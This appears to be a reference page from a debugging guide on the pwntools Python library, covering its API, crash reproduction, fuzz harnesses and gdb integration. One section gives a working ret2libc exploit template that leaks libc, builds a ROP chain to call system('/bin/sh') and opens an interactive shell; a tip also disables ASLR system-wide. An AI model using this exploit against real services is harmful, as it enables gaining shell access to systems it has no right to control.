# pwntools — Scripted Binary / Network Interaction

**https://docs.pwntools.com/en/stable/ · https://github.com/Gallopsled/pwntools**

pwntools is a Python framework for building reproducible interactions with binaries and network services. Originally built for CTF exploitation, it's the correct tool for any situation where you need:

- A crafted input sent to a binary or network service, repeatably
- A "failing test" equivalent for a bug that only manifests with specific byte-level input
- A fuzz harness
- An exploit PoC
- Anything where you're tempted to use `echo ... | ./binary` but need more control than shell allows

**Use pwntools for Phase 5 reproduction of binary bugs and Phase 7 tests against binaries.**

---

## Install

```bash
pip install pwntools
# Or in a venv:
python -m venv .venv && source .venv/bin/activate
pip install pwntools

# Verify
python -c 'from pwn import *; print("ok")'
```

On some Linux distros you may need build deps: `apt install python3-dev libssl-dev`.

---

## The core API in five idioms

### 1. Process / Remote — the same interface

```python
from pwn import *

# Local process
p = process('./target')

# Remote service
p = remote('example.com', 1337)

# SSH (tunnel to a remote process)
shell = ssh('user', 'host', password='...')
p = shell.process('./target', cwd='/tmp')

# Same methods on all of the above — this is the value proposition
```

### 2. I/O — the only five methods you need

```python
p.send(b'data')                      # send bytes
p.sendline(b'data')                  # send bytes + \n
p.recv(n)                            # receive up to n bytes
p.recvuntil(b'> ')                   # receive until pattern (blocks)
p.recvline()                         # receive until \n
p.interactive()                      # hand control to your terminal (for manual exploration)

# Combined
p.sendlineafter(b'prompt> ', b'payload')
p.sendafter(b'key:', key)
```

Timeouts:
```python
try:
    data = p.recvuntil(b'done', timeout=5)
except pwnlib.exception.EOFError:
    print('process died')
except TimeoutError:
    print('no response in 5s')
```

### 3. context — set arch/OS once, tools align

```python
context.binary = elf = ELF('./target')   # auto-sets arch/os/endianness
# or explicitly:
context.update(arch='amd64', os='linux', endian='little', bits=64)
```

After setting context, helpers like `asm()`, `disasm()`, `cyclic()`, and `ROP()` produce correct output for that target automatically.

### 4. ELF — parse without reverse-engineering by hand

```python
elf = ELF('./target')

elf.symbols['main']                  # address of main
elf.plt['printf']                    # address in PLT (dynamic linkage)
elf.got['printf']                    # GOT entry
elf.address = 0x555555554000         # set base for PIE binaries
elf.search(b'/bin/sh')               # find string or bytes in the binary
elf.functions['main'].address        # same as elf.symbols['main']
list(elf.functions)[:10]             # first 10 function names
```

For the libc that's linked:
```python
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.symbols['system']
```

### 5. cyclic — find offsets without counting

For "where exactly does user input reach this variable" bugs:

```python
p = process('./target')
p.sendline(cyclic(256))              # send a De Bruijn pattern
# Crash occurs; note the crash value (e.g. RIP = 0x6161616c)
offset = cyclic_find(0x6161616c)     # returns 12 (or wherever in the pattern)
# Now you know: byte 12 of your input lands at RIP
```

Saves an hour of "pad by N bytes then check" iteration.

---

## Logging during debug

pwntools logs output by default. Configure level in the script:

```python
context.log_level = 'debug'          # very verbose — shows sent/received bytes
context.log_level = 'info'           # default
context.log_level = 'warning'        # quiet
```

For long scripts, log milestones:

```python
log.info('Connected to target')
log.success('Bypassed the check')
log.failure('Canary corrupted')
log.progress('brute-forcing').status('attempt %d' % i)
```

---

## Typical debug-session patterns

### Reproduce a crash with a specific input

```python
# /tmp/debug-repro.py
from pwn import *
context.binary = './target'

p = process('./target')
p.sendlineafter(b'> ', b'<bad input that crashes>')
p.wait()
# If it crashed, p.poll() returns non-zero
assert p.poll() is not None and p.poll() != 0, 'expected crash, got clean exit'
log.success(f'confirmed crash (exit {p.poll()})')
```

Journal this script path. Run it as your "red test":

```bash
python /tmp/debug-repro.py
```

### Fuzz harness for a suspected input class

```python
# /tmp/debug-fuzz.py
from pwn import *
import random

context.binary = './target'
context.log_level = 'warning'        # keep quiet in the loop

crashes = []
for i in range(1000):
    payload = bytes(random.randint(0, 255) for _ in range(random.randint(1, 100)))
    p = process('./target')
    p.sendline(payload)
    p.wait()
    if p.poll() is not None and p.poll() < 0:   # crashed by signal
        crashes.append((payload, p.poll()))
        log.success(f'iter {i}: crash sig={-p.poll()}')

open('/tmp/debug-crashes.txt', 'w').write(repr(crashes))
log.info(f'found {len(crashes)} crashes')
```

### Automated exploit harness (CTF or self-testing a known CVE)

```python
from pwn import *
context.binary = elf = ELF('./target')
libc = elf.libc or ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./target')

# Leak
p.sendline(b'A' * 64 + p64(elf.plt['puts']) + p64(elf.symbols['main']) + p64(elf.got['puts']))
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')

# Exploit
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
p.sendline(b'A' * 64 + rop.chain())

p.interactive()
```

---

## Integration with gdb / pwndbg

pwntools can launch your process under gdb:

```python
p = gdb.debug('./target', gdbscript='''
    break main
    continue
''')
```

Or attach to a running pwntools-launched process:

```python
p = process('./target')
gdb.attach(p, gdbscript='break *0x401234')
# continues in a new terminal window with gdb attached
p.sendline(b'trigger input')
```

This is the best way to debug a specific crash repeatably — pwntools drives input, gdb/pwndbg observes runtime state.

---

## Gotchas

- **Python version**: pwntools supports Python 3.8+. Very old distros may not have it.
- **`p.interactive()` blocks.** It's for manual exploration; remove it from automated scripts.
- **ASLR on local runs**: turn off for reproducibility during debugging: `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` (remember to revert — journal this!).
- **`gdb.debug()` requires `gdb-multiarch`** for cross-arch binaries.
- **Subprocess cleanup**: if your script crashes, orphan `./target` processes may linger. Kill them at Phase 9 or add `atexit` cleanup.

---

## Phase 9 cleanup specifics

```bash
# Remove pwntools debug scripts
rm -f /tmp/debug-*.py
rm -f /tmp/debug-crashes.txt

# Kill orphan target processes from failed runs
pkill -f './target' || true     # adjust to actual binary name

# Restore ASLR if disabled
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space     # Linux default

# Revert any binary patches applied for testing (see native-binary.md for details)
```